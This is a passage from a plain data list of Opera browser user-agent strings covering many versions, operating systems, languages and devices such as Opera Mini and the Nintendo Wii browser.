Version/10.60\nOpera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.30\nOpera/12.0(Windows NT 5.1;U;en)Presto/22.9.168 Version/12.00\nOpera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00\nOpera/12.02 (Android 4.1; Linux; Opera Mobi/ADR-1111101157; U; en-US) Presto/2.9.201 Version/12.02\nOpera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02\nOpera/4.02 (Windows 98; U) [en]\nOpera/5.0 (Linux 2.0.38 i386; U) [en]\nOpera/5.0 (SunOS 5.8 sun4u; U)  [en]\nOpera/5.0 (Ubuntu; U; Windows NT 6.1; es; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nOpera/5.02 (Macintosh; U; id)\nOpera/5.02 (Windows 98; U)  [en]\nOpera/5.02 (Windows NT 5.0; U) [en]\nOpera/5.11 (Windows 98; U)  [en]\nOpera/5.11 (Windows ME; U) [ru]\nOpera/5.12 (Windows 98; U)  [en]\nOpera/5.12 (Windows 98; U) [en]\nOpera/5.12 (Windows NT 5.1; U)  [de]\nOpera/6.0 (Macintosh; PPC Mac OS X; U)\nOpera/6.0 (Windows 2000; U)  [de]\nOpera/6.0 (Windows 2000; U)  [fr]\nOpera/6.0 (Windows ME; U)  [de]\nOpera/6.0 (Windows XP; U)  [de]\nOpera/6.01 (Windows 2000; U)  [de]\nOpera/6.01 (Windows 2000; U)  [en]\nOpera/6.01 (Windows 98; U)  [de]\nOpera/6.01 (Windows 98; U)  [en]\nOpera/6.01 (Windows XP; U)  [de]\nOpera/6.01 (X11; U; nn)\nOpera/6.01 (larbin@unspecified.mail)\nOpera/6.02 (Windows NT 4.0; U)  [de]\nOpera/6.03 (Linux 2.4.18-18.7.x i686; U)  [en]\nOpera/6.03 (Windows 2000; U)  [en]\nOpera/6.03 (Windows 98; U) [en]\nOpera/6.03 (Windows NT 4.0; U)  [en]\nOpera/6.04 (Windows 2000; U)  [de]\nOpera/6.04 (Windows 2000; U)  [en]\nOpera/6.04 (Windows 98; U)  [en-GB]\nOpera/6.04 (Windows NT 4.0; U)  [de]\nOpera/6.04 (Windows NT 4.0; U)  [en]\nOpera/6.04 (Windows XP; U)  [de]\nOpera/6.04 (Windows XP; U)  [en]\nOpera/6.05 (Windows 2000; U)  [de]\nOpera/6.05 (Windows 2000; U)  [en]\nOpera/6.05 (Windows 2000; U)  [fr]\nOpera/6.05 (Windows 2000; U)  [it]\nOpera/6.05 (Windows 2000; U)  [ja]\nOpera/6.05 (Windows 2000; U)  [oc]\nOpera/6.05 (Windows 98; U)  [de]\nOpera/6.05 (Windows 98; U)  [en]\nOpera/6.05 (Windows 98; U)  [fr]\nOpera/6.05 (Windows ME; U)  [de]\nOpera/6.05 (Windows ME; U)  [fr]\nOpera/6.05 (Windows NT 4.0; U)  [de]\nOpera/6.05 (Windows NT 4.0; U)  [fr]\nOpera/6.05 (Windows NT 4.0; U)  [ro]\nOpera/6.05 (Windows XP; U)  [de]\nOpera/6.05 (Windows XP; U)  [en]\nOpera/6.05 (Windows XP; U) [en]\nOpera/6.11 (FreeBSD 4.7-RELEASE i386; U)  [en]\nOpera/6.11 (Linux 2.4.10-4GB i686; U)  [en]\nOpera/6.11 (Linux 2.4.18-4GB i686; U)  [en]\nOpera/6.11 (Linux 2.4.18-bf2.4 i686; U)  [en]\nOpera/6.12 (Linux 2.4.18-14cpq i686; U)  [en]\nOpera/6.12 (Linux 2.4.20-4GB i686; U)  [en]\nOpera/6.x (Linux 2.4.8-26mdk i686; U) [en]\nOpera/6.x (Windows NT 4.0; U) [de]\nOpera/7.0 (Windows 2000; U)  [de]\nOpera/7.0 (Windows 2000; U)  [en]\nOpera/7.0 (Windows 98; U)  [en]\nOpera/7.0 (Windows NT 4.0; U)  [de]\nOpera/7.0 (Windows NT 4.0; U)  [en]\nOpera/7.0 (Windows NT 5.1; U)  [en]\nOpera/7.01 (Windows 98; U)  [en]\nOpera/7.01 (Windows 98; U)  [fr]\nOpera/7.01 (Windows NT 5.0; U)  [en]\nOpera/7.01 (Windows NT 5.1; U)  [en]\nOpera/7.02 (Windows 98; U)  [en]\nOpera/7.02 (Windows NT 5.1; U)  [fr]\nOpera/7.03 (Windows 98; U)  [de]\nOpera/7.03 (Windows 98; U)  [en]\nOpera/7.03 (Windows NT 4.0; U)  [en]\nOpera/7.03 (Windows NT 5.0; U)  [de]\nOpera/7.03 (Windows NT 5.0; U)  [en]\nOpera/7.03 (Windows NT 5.1; U)  [de]\nOpera/7.03 (Windows NT 5.1; U)  [en]\nOpera/7.10 (Linux Debian;en-US)\nOpera/7.10 (Windows NT 4.0; U)  [de]\nOpera/7.10 (Windows NT 5.0; U)  [en]\nOpera/7.10 (Windows NT 5.1; U)  [en]\nOpera/7.11 (Linux 2.6.0-test4 i686; U)  [en]\nOpera/7.11 (Windows 98; U)  [de]\nOpera/7.11 (Windows 98; U)  [en]\nOpera/7.11 (Windows NT 5.0; U)  [de]\nOpera/7.11 (Windows NT 5.0; U)  [en]\nOpera/7.11 (Windows NT 5.1; U)  [de]\nOpera/7.11 (Windows NT 5.1; U)  [en]\nOpera/7.11 (Windows NT 5.1; U)  [pl]\nOpera/7.20 (Windows NT 5.1; U)  [en]\nOpera/7.21 (Windows NT 5.1; U)  [en]\nOpera/7.22 (Windows NT 5.1; U)  [de]\nOpera/7.23 (Windows 98; U) [en]\nOpera/7.23 (Windows NT 5.0; U)  [en]\nOpera/7.23 (Windows NT 5.0; U)  [fr]\nOpera/7.23 (Windows NT 5.0; U) [en]\nOpera/7.23 (Windows NT 5.1; U; sv)\nOpera/7.23 (Windows NT 6.0; U)  [zh-cn]\nOpera/7.50 (Windows ME; U) [en]\nOpera/7.50 (Windows NT 5.1; U)  [en]\nOpera/7.50 (Windows XP; U)\nOpera/7.51 (Linux) [en]\nOpera/7.51 (Windows NT 5.1; U) [en]\nOpera/7.51 (X11; SunOS sun4u; U) [de]\nOpera/7.52 (Windows NT 5.1; U)  [en]\nOpera/7.52 (Windows NT 5.1; U) [en]\nOpera/7.53 (Windows NT 5.1; U)  [en]\nOpera/7.53 (X11; Linux i686; U) [en_US]\nOpera/7.54 (Windows 98; U)  [de]\nOpera/7.54 (Windows NT 5.0; U)  [de]\nOpera/7.54 (Windows NT 5.0; U)  [en]\nOpera/7.54 (Windows NT 5.1; U)  [de]\nOpera/7.54 (Windows NT 5.1; U)  [en]\nOpera/7.54 (Windows NT 5.1; U)  [it]\nOpera/7.54 (Windows NT 5.1; U) [en]\nOpera/7.54 (X11; Linux i686; U)  [en]\nOpera/7.x (Windows NT 5.1; U) [en]\nOpera/8.0 (Windows NT 5.1; U; en)\nOpera/8.0 (X11; Linux i686; U; cs)\nOpera/8.00 (Windows NT 5.1; U; en)\nOpera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)\nOpera/8.01 (Macintosh; PPC Mac OS X; U; en)\nOpera/8.01 (Macintosh; U; PPC Mac OS; en)\nOpera/8.01 (Windows NT 5.0; U; de)\nOpera/8.01 (Windows NT 5.1; U; de)\nOpera/8.01 (Windows NT 5.1; U; en)\nOpera/8.01 (Windows NT 5.1; U; fr)\nOpera/8.01 (Windows NT 5.1; U; pl)\nOpera/8.02 (Windows NT 5.1; U; de)\nOpera/8.02 (Windows NT 5.1; U; en)\nOpera/8.02 (Windows NT 5.1; U; ru)\nOpera/8.10 (Windows NT 5.1; U; en)\nOpera/8.50 (Windows 98; U; en)\nOpera/8.50 (Windows 98; U; ru)\nOpera/8.50 (Windows ME; U; en)\nOpera/8.50 (Windows NT 4.0; U; zh-cn)\nOpera/8.50 (Windows NT 5.0; U; de)\nOpera/8.50 (Windows NT 5.0; U; en)\nOpera/8.50 (Windows NT 5.0; U; fr)\nOpera/8.50 (Windows NT 5.1; U; de)\nOpera/8.50 (Windows NT 5.1; U; en)\nOpera/8.50 (Windows NT 5.1; U; es-ES)\nOpera/8.50 (Windows NT 5.1; U; fr)\nOpera/8.50 (Windows NT 5.1; U; pl)\nOpera/8.50 (Windows NT 5.1; U; ru)\nOpera/8.51 (FreeBSD 5.1; U; en)\nOpera/8.51 (Macintosh; PPC Mac OS X; U; de)\nOpera/8.51 (Windows 98; U; en)\nOpera/8.51 (Windows NT 5.0; U; en)\nOpera/8.51 (Windows NT 5.1; U; de)\nOpera/8.51 (Windows NT 5.1; U; en)\nOpera/8.51 (Windows NT 5.1; U; fr)\nOpera/8.51 (Windows NT 5.1; U; nb)\nOpera/8.51 (Windows NT 5.1; U; pl)\nOpera/8.51 (X11; Linux i686; U; en)\nOpera/8.51 (X11; Linux x86_64; U; en)\nOpera/8.51 (X11; U; Linux i686; en-US; rv:1.8)\nOpera/8.52 (Windows ME; U; en)\nOpera/8.52 (Windows NT 5.0; U; en)\nOpera/8.52 (Windows NT 5.1; U; en)\nOpera/8.52 (Windows NT 5.1; U; ru)\nOpera/8.52 (X11; Linux i686; U; en)\nOpera/8.52 (X11; Linux x86_64; U; en)\nOpera/8.53 (Windows 98; U; en)\nOpera/8.53 (Windows NT 5.0; U; en)\nOpera/8.53 (Windows NT 5.1; U; de)\nOpera/8.53 (Windows NT 5.1; U; en)\nOpera/8.53 (Windows NT 5.1; U; pt)\nOpera/8.53 (Windows NT 5.2; U; en)\nOpera/8.54 (Windows 98; U; en)\nOpera/8.54 (Windows NT 4.0; U; zh-cn)\nOpera/8.54 (Windows NT 5.0; U; de)\nOpera/8.54 (Windows NT 5.0; U; en)\nOpera/8.54 (Windows NT 5.1; U; en)\nOpera/8.54 (Windows NT 5.1; U; pl)\nOpera/8.54 (Windows NT 5.1; U; ru)\nOpera/8.54 (X11; Linux i686; U; de)\nOpera/8.54 (X11; Linux i686; U; pl)\nOpera/8.xx (Windows NT 5.1; U; en)\nOpera/9.0 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.0 (Windows NT 5.1; U; en)\nOpera/9.00 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.00 (Macintosh; PPC Mac OS X; U; es)\nOpera/9.00 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en)\nOpera/9.00 (Windows NT 5.0; U; en)\nOpera/9.00 (Windows NT 5.1; U; de)\nOpera/9.00 (Windows NT 5.1; U; en)\nOpera/9.00 (Windows NT 5.1; U; es-es)\nOpera/9.00 (Windows NT 5.1; U; fi)\nOpera/9.00 (Windows NT 5.1; U; fr)\nOpera/9.00 (Windows NT 5.1; U; it)\nOpera/9.00 (Windows NT 5.1; U; ja)\nOpera/9.00 (Windows NT 5.1; U; nl)\nOpera/9.00 (Windows NT 5.1; U; pl)\nOpera/9.00 (Windows NT 5.1; U; ru)\nOpera/9.00 (Windows NT 5.2; U; en)\nOpera/9.00 (Windows NT 5.2; U; pl)\nOpera/9.00 (Windows NT 5.2; U; ru)\nOpera/9.00 (Windows; U)\nOpera/9.00 (X11; Linux i686; U; de)\nOpera/9.00 (X11; Linux i686; U; en)\nOpera/9.00 (X11; Linux i686; U; pl)\nOpera/9.01 (Macintosh; Intel Mac OS X; U; en)\nOpera/9.01 (Macintosh; Intel Mac OS X; U; fr)\nOpera/9.01 (Macintosh; Intel Mac OS X; U; nb)\nOpera/9.01 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.01 (Macintosh; PPC Mac OS X; U; it)\nOpera/9.01 (Windows NT 5.0; U; de)\nOpera/9.01 (Windows NT 5.0; U; en)\nOpera/9.01 (Windows NT 5.1)\nOpera/9.01 (Windows NT 5.1; U; bg)\nOpera/9.01 (Windows NT 5.1; U; cs)\nOpera/9.01 (Windows NT 5.1; U; da)\nOpera/9.01 (Windows NT 5.1; U; de)\nOpera/9.01 (Windows NT 5.1; U; en)\nOpera/9.01 (Windows NT 5.1; U; es-es)\nOpera/9.01 (Windows NT 5.1; U; ja)\nOpera/9.01 (Windows NT 5.1; U; pl)\nOpera/9.01 (Windows NT 5.1; U; ru)\nOpera/9.01 (Windows NT 5.2; U; en)\nOpera/9.01 (Windows NT 5.2; U; ru)\nOpera/9.01 (X11; FreeBSD 6 i386; U; en)\nOpera/9.01 (X11; FreeBSD 6 i386; U;pl)\nOpera/9.01 (X11; Linux i686; U; en)\nOpera/9.01 (X11; OpenBSD i386; U; en)\nOpera/9.02 (Linux i686; U; en)\nOpera/9.02 (Macintosh; Intel Mac OS X; U; en)\nOpera/9.02 (Macintosh; Intel Mac OS X; U; nb)\nOpera/9.02 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.02 (Windows 95; U; en)\nOpera/9.02 (Windows 98; U; en)\nOpera/9.02 (Windows NT 4.0; U; zh-cn)\nOpera/9.02 (Windows NT 5.0; U)\nOpera/9.02 (Windows NT 5.0; U; de)\nOpera/9.02 (Windows NT 5.0; U; en)\nOpera/9.02 (Windows NT 5.0; U; pl)\nOpera/9.02 (Windows NT 5.0; U; sv)\nOpera/9.02 (Windows NT 5.1; U; de)\nOpera/9.02 (Windows NT 5.1; U; en)\nOpera/9.02 (Windows NT 5.1; U; fi)\nOpera/9.02 (Windows NT 5.1; U; ja)\nOpera/9.02 (Windows NT 5.1; U; nb)\nOpera/9.02 (Windows NT 5.1; U; pl)\nOpera/9.02 (Windows NT 5.1; U; pt-br)\nOpera/9.02 (Windows NT 5.1; U; ru)\nOpera/9.02 (Windows NT 5.1; U; zh-cn)\nOpera/9.02 (Windows NT 5.2; U; de)\nOpera/9.02 (Windows NT 5.2; U; en)\nOpera/9.02 (Windows XP; U; ru)\nOpera/9.02 (Windows; U; nl)\nOpera/9.02 (X11; Linux i686; U; de)\nOpera/9.02 (X11; Linux i686; U; en)\nOpera/9.02 (X11; Linux i686; U; hu)\nOpera/9.02 (X11; Linux i686; U; pl)\nOpera/9.10 (Macintosh; Intel Mac OS X; U; en)\nOpera/9.10 (Macintosh; Intel Mac OS X; U; nb)\nOpera/9.10 (Macintosh; Intel Mac OS X; U; nl)\nOpera/9.10 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.10 (Macintosh; PPC Mac OS X; U; it)\nOpera/9.10 (Nintendo Wii ; U; ;  1621;  ja)\nOpera/9.10 (Nintendo Wii ; U; ; 1621; ja)\nOpera/9.10 (Nintendo Wii; U; ; 1621; en)\nOpera/9.10 (Windows 98; U; en)\nOpera/9.10 (Windows NT 5.0; U; de)\nOpera/9.10 (Windows NT 5.0; U; en)\nOpera/9.10 (Windows NT 5.0; U; fr)\nOpera/9.10 (Windows NT 5.0; U; zh-cn)\nOpera/9.10 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pl)\nOpera/9.10 (Windows NT 5.1; U; bg)\nOpera/9.10 (Windows NT 5.1; U; de)\nOpera/9.10 (Windows NT 5.1; U; en)\nOpera/9.10 (Windows NT 5.1; U; es-es)\nOpera/9.10 (Windows NT 5.1; U; fi)\nOpera/9.10 (Windows NT 5.1; U; hu)\nOpera/9.10 (Windows NT 5.1; U; it)\nOpera/9.10 (Windows NT 5.1; U; nl)\nOpera/9.10 (Windows NT 5.1; U; pl)\nOpera/9.10 (Windows NT 5.1; U; pt)\nOpera/9.10 (Windows NT 5.1; U; sv)\nOpera/9.10 (Windows NT 5.1; U; zh-tw)\nOpera/9.10 (Windows NT 5.2; U; de)\nOpera/9.10 (Windows NT 5.2; U; en)\nOpera/9.10 (Windows NT 6.0; U; en)\nOpera/9.10 (Windows NT 6.0; U; it-IT)\nOpera/9.10 (X11; Linux i386; U; en)\nOpera/9.10 (X11; Linux i686; U; en)\nOpera/9.10 (X11; Linux i686; U; kubuntu;pl)\nOpera/9.10 (X11; Linux i686; U; pl)\nOpera/9.10 (X11; Linux x86_64; U; en)\nOpera/9.10 (X11; Linux; U; en)\nOpera/9.12 (Windows NT 5.0; U)\nOpera/9.12 (Windows NT 5.0; U; ru)\nOpera/9.12 (X11; Linux i686; U; en) (Ubuntu)\nOpera/9.20 (FreeBSD; U; en)\nOpera/9.20 (Macintosh; Intel Mac OS X; U; de)\nOpera/9.20 (Macintosh; Intel Mac OS X; U; en)\nOpera/9.20 (Windows 98; U; en)\nOpera/9.20 (Windows 98; U; fr)\nOpera/9.20 (Windows NT 5.0; U; en)\nOpera/9.20 (Windows NT 5.0; U; pt)\nOpera/9.20 (Windows NT 5.1; U; MEGAUPLOAD=1.0; es-es)\nOpera/9.20 (Windows NT 5.1; U; cs)\nOpera/9.20 (Windows NT 5.1; U; de)\nOpera/9.20 (Windows NT 5.1; U; en)\nOpera/9.20 (Windows NT 5.1; U; es-AR)\nOpera/9.20 (Windows NT 5.1; U; es-es)\nOpera/9.20 (Windows NT 5.1; U; it)\nOpera/9.20 (Windows NT 5.1; U; nb)\nOpera/9.20 (Windows NT 5.1; U; zh-tw)\nOpera/9.20 (Windows NT 5.2; U; en)\nOpera/9.20 (Windows NT 6.0; U; de)\nOpera/9.20 (Windows NT 6.0; U; en)\nOpera/9.20 (Windows NT 6.0; U; es-es)\nOpera/9.20 (X11; Linux i586; U; en)\nOpera/9.20 (X11; Linux i686; U; en)\nOpera/9.20 (X11; Linux i686; U; es-es)\nOpera/9.20 (X11; Linux i686; U; pl)\nOpera/9.20 (X11; Linux i686; U; ru)\nOpera/9.20 (X11; Linux i686; U; tr)\nOpera/9.20 (X11; Linux ppc; U; en)\nOpera/9.20 (X11; Linux x86_64; U; en)\nOpera/9.20 (compatible; Mozilla/5.0; MSIE 8.0; U; en)\nOpera/9.20(Windows NT 5.1; U; en)\nOpera/9.21 (Linux i686; U; en)\nOpera/9.21 (Macintosh; Intel Mac OS X; U; en)\nOpera/9.21 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.21 (Windows 98; U; en)\nOpera/9.21 (Windows NT 5.0; U; de)\nOpera/9.21 (Windows NT 5.1; U; MEGAUPLOAD 1.0; en)\nOpera/9.21 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru)\nOpera/9.21 (Windows NT 5.1; U; de)\nOpera/9.21 (Windows NT 5.1; U; en)\nOpera/9.21 (Windows NT 5.1; U; fr)\nOpera/9.21 (Windows NT 5.1; U; nl)\nOpera/9.21 (Windows NT 5.1; U; pl)\nOpera/9.21 (Windows NT 5.1; U; pt-br)\nOpera/9.21 (Windows NT 5.1; U; ru)\nOpera/9.21 (Windows NT 5.2; U; en)\nOpera/9.21 (Windows NT 6.0; U; en)\nOpera/9.21 (Windows NT 6.0; U; nb)\nOpera/9.21 (X11; Linux i686; U; de)\nOpera/9.21 (X11; Linux i686; U; en)\nOpera/9.21 (X11; Linux i686; U; es-es)\nOpera/9.21 (X11; Linux x86_64; U; en)\nOpera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru)\nOpera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 2.0; ru)\nOpera/9.22 (Windows NT 5.1; U; en)\nOpera/9.22 (Windows NT 5.1; U; fr)\nOpera/9.22 (Windows NT 5.1; U; pl)\nOpera/9.22 (Windows NT 6.0; U; en)\nOpera/9.22 (Windows NT 6.0; U; ru)\nOpera/9.22 (X11; Linux i686; U; de)\nOpera/9.22 (X11; Linux i686; U; en)\nOpera/9.22 (X11; OpenBSD i386; U; en)\nOpera/9.23 (Mac OS X; fr)\nOpera/9.23 (Mac OS X; ru)\nOpera/9.23 (Macintosh; Intel Mac OS X; U; ja)\nOpera/9.23 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en)\nOpera/9.23 (Windows NT 5.0; U; de)\nOpera/9.23 (Windows NT 5.0; U; en)\nOpera/9.23 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru)\nOpera/9.23 (Windows NT 5.1; U; da)\nOpera/9.23 (Windows NT 5.1; U; de)\nOpera/9.23 (Windows NT 5.1; U; en)\nOpera/9.23 (Windows NT 5.1; U; fi)\nOpera/9.23 (Windows NT 5.1; U; it)\nOpera/9.23 (Windows NT 5.1; U; ja)\nOpera/9.23 (Windows NT 5.1; U; pt)\nOpera/9.23 (Windows NT 5.1; U; zh-cn)\nOpera/9.23 (Windows NT 6.0; U; de)\nOpera/9.23 (X11; Linux i686; U; en)\nOpera/9.23 (X11; Linux i686; U; es-es)\nOpera/9.23 (X11; Linux x86_64; U; en)\nOpera/9.24 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.24 (Windows NT 5.0; U; ru)\nOpera/9.24 (Windows NT 5.1; U; ru)\nOpera/9.24 (Windows NT 5.1; U; tr)\nOpera/9.24 (X11; Linux i686; U; de)\nOpera/9.24 (X11; SunOS i86pc; U; en)\nOpera/9.25 (BeOS 4.0; U; en)\nOpera/9.25 (Mac OS X; U; en)\nOpera/9.25 (Mac OS X; U; en-US)\nOpera/9.25 (Macintosh; Intel Mac OS X; U; en)\nOpera/9.25 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.25 (OpenSolaris; U; en)\nOpera/9.25 (Windows NT 4.0; U; en)\nOpera/9.25 (Windows NT 5.0; U; cs)\nOpera/9.25 (Windows NT 5.0; U; en)\nOpera/9.25 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pt-br)\nOpera/9.25 (Windows NT 5.1; U; de)\nOpera/9.25 (Windows NT 5.1; U; lt)\nOpera/9.25 (Windows NT 5.1; U; ru)\nOpera/9.25 (Windows NT 5.1; U; zh-cn)\nOpera/9.25 (Windows NT 5.2; U; en)\nOpera/9.25 (Windows NT 6.0; U; MEGAUPLOAD 1.0; ru)\nOpera/9.25 (Windows NT 6.0; U; SV1; MEGAUPLOAD 2.0; ru)\nOpera/9.25 (Windows NT 6.0; U; en)\nOpera/9.25 (Windows NT 6.0; U; en-US)\nOpera/9.25 (Windows NT 6.0; U; ru)\nOpera/9.25 (Windows NT 6.0; U; sv)\nOpera/9.25 (X11; Linux i686; U; en)\nOpera/9.25 (X11; Linux i686; U; fr)\nOpera/9.25 (X11; Linux i686; U; fr-ca)\nOpera/9.26 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.26 (Windows NT 5.1; U; MEGAUPLOAD 2.0; en)\nOpera/9.26 (Windows NT 5.1; U; de)\nOpera/9.26 (Windows NT 5.1; U; nl)\nOpera/9.26 (Windows NT 5.1; U; pl)\nOpera/9.26 (Windows NT 5.1; U; zh-cn)\nOpera/9.26 (Windows; U; pl)\nOpera/9.27 (Macintosh; Intel Mac OS X; U; sv)\nOpera/9.27 (Windows NT 5.1; U; ja)\nOpera/9.27 (Windows NT 5.2; U; en)\nOpera/9.27 (X11; Linux i686; U; en)\nOpera/9.27 (X11; Linux i686; U; fr)\nOpera/9.30 (Nintendo Wii; U; ; 2047-7; de)\nOpera/9.30 (Nintendo Wii; U; ; 2047-7; en)\nOpera/9.30 (Nintendo Wii; U; ; 2047-7; fr)\nOpera/9.30 (Nintendo Wii; U; ; 2047-7;en)\nOpera/9.30 (Nintendo Wii; U; ; 2047-7;es)\nOpera/9.30 (Nintendo Wii; U; ; 2047-7;pt-br)\nOpera/9.30 (Nintendo Wii; U; ; 2071; Wii Shop Channel/1.0; en)\nOpera/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i/R2AA Profile/MIDP-2.0 Configuration/CLDC-1.1\nOpera/9.5 (Windows NT 5.1; U; fr)\nOpera/9.5 (Windows NT 6.0; U; en)\nOpera/9.50 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/20.2590; U; en)\nOpera/9.50 (J2ME/MIDP; Opera Mini/5.1.21965/20.2513; U; en)\nOpera/9.50 (Macintosh; Intel Mac OS X; U; de)\nOpera/9.50 (Macintosh; Intel Mac OS X; U; en)\nOpera/9.50 (Windows NT 5.1; U; es-ES)\nOpera/9.50 (Windows NT 5.1; U; it)\nOpera/9.50 (Windows NT 5.1; U; nl)\nOpera/9.50 (Windows NT 5.1; U; nn)\nOpera/9.50 (Windows NT 5.1; U; ru)\nOpera/9.50 (Windows NT 5.2; U; it)\nOpera/9.50 (X11; Linux i686; U; es-ES)\nOpera/9.50 (X11; Linux ppc; U; en)\nOpera/9.50 (X11; Linux x86_64; U; nb)\nOpera/9.50 (X11; Linux x86_64; U; pl)\nOpera/9.51 (Macintosh; Intel Mac OS X; U; en)\nOpera/9.51 (Windows NT 5.1; U; da)\nOpera/9.51 (Windows NT 5.1; U; en)\nOpera/9.51 (Windows NT 5.1; U; en-GB)\nOpera/9.51 (Windows NT 5.1; U; es-AR)\nOpera/9.51 (Windows NT 5.1; U; es-LA)\nOpera/9.51 (Windows NT 5.1; U; fr)\nOpera/9.51 (Windows NT 5.1; U; nn)\nOpera/9.51 (Windows NT 5.2; U; en)\nOpera/9.51 (Windows NT 6.0; U; en)\nOpera/9.51 (Windows NT 6.0; U; es)\nOpera/9.51 (Windows NT 6.0; U; sv)\nOpera/9.51 (X11; Linux i686; U; Linux Mint; en)\nOpera/9.51 (X11; Linux i686; U; de)\nOpera/9.51 (X11; Linux i686; U; fr)\nOpera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en)\nOpera/9.52 (Macintosh; Intel Mac OS X; U; pt)\nOpera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)\nOpera/9.52 (Macintosh; PPC Mac OS X; U; fr)\nOpera/9.52 (Macintosh; PPC Mac OS X; U; ja)\nOpera/9.52 (Windows NT 5.0; U; en)\nOpera/9.52 (Windows NT 5.2; U; ru)\nOpera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en)\nOpera/9.52 (Windows NT 6.0; U; de)\nOpera/9.52 (Windows NT 6.0; U; en)\nOpera/9.52 (Windows NT 6.0; U; fr)\nOpera/9.52 (X11; Linux i686; U; cs)\nOpera/9.52 (X11; Linux i686; U; en)\nOpera/9.52 (X11; Linux i686; U; fr)\nOpera/9.52 (X11; Linux ppc; U; de)\nOpera/9.52 (X11; Linux x86_64; U)\nOpera/9.52 (X11; Linux x86_64; U; en)\nOpera/9.52 (X11; Linux x86_64; U; ru)\nOpera/9.60 (J2ME/MIDP; Opera Mini/4.0/490; U; en) Presto/2.2.0\nOpera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.0\nOpera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.0\nOpera/9.60 (J2ME/MIDP;Opera Mini/4.2.15410Mod.by.Handler/503; U; en)Presto/2.2.0\nOpera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1\nOpera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1\nOpera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1\nOpera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1\nOpera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1\nOpera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1\nOpera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1\nOpera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1\nOpera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1\nOpera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1\nOpera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1\nOpera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1\nOpera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1\nOpera/9.60 (X11; Linux x86_64; U)\nOpera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1\nOpera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1\nOpera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1\nOpera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1\nOpera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1\nOpera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1\nOpera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1\nOpera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1\nOpera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1\nOpera/9.61 (Windows NT 5.2; U; en) Presto/2.1.1\nOpera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1\nOpera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1\nOpera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1\nOpera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1\nOpera/9.61 (X11; Linux i686; U; de) Presto/2.1.1\nOpera/9.61 (X11; Linux i686; U; en) Presto/2.1.1\nOpera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1\nOpera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1\nOpera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1\nOpera/9.62 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1\nOpera/9.62 (Macintosh; Intel Mac OS X; U; en) Presto/2.1.1\nOpera/9.62 (Macintosh; Intel Mac OS X; U; fi) Presto/2.1.1\nOpera/9.62 (Macintosh; Intel Mac OS X; U; it) Presto/2.1.1\nOpera/9.62 (Windows 98; U; en-GB) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; de) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; en) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; es-ES) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; fr) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; it) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; nn) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; pl) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1\nOpera/9.62 (Windows NT 5.1; U; tr) 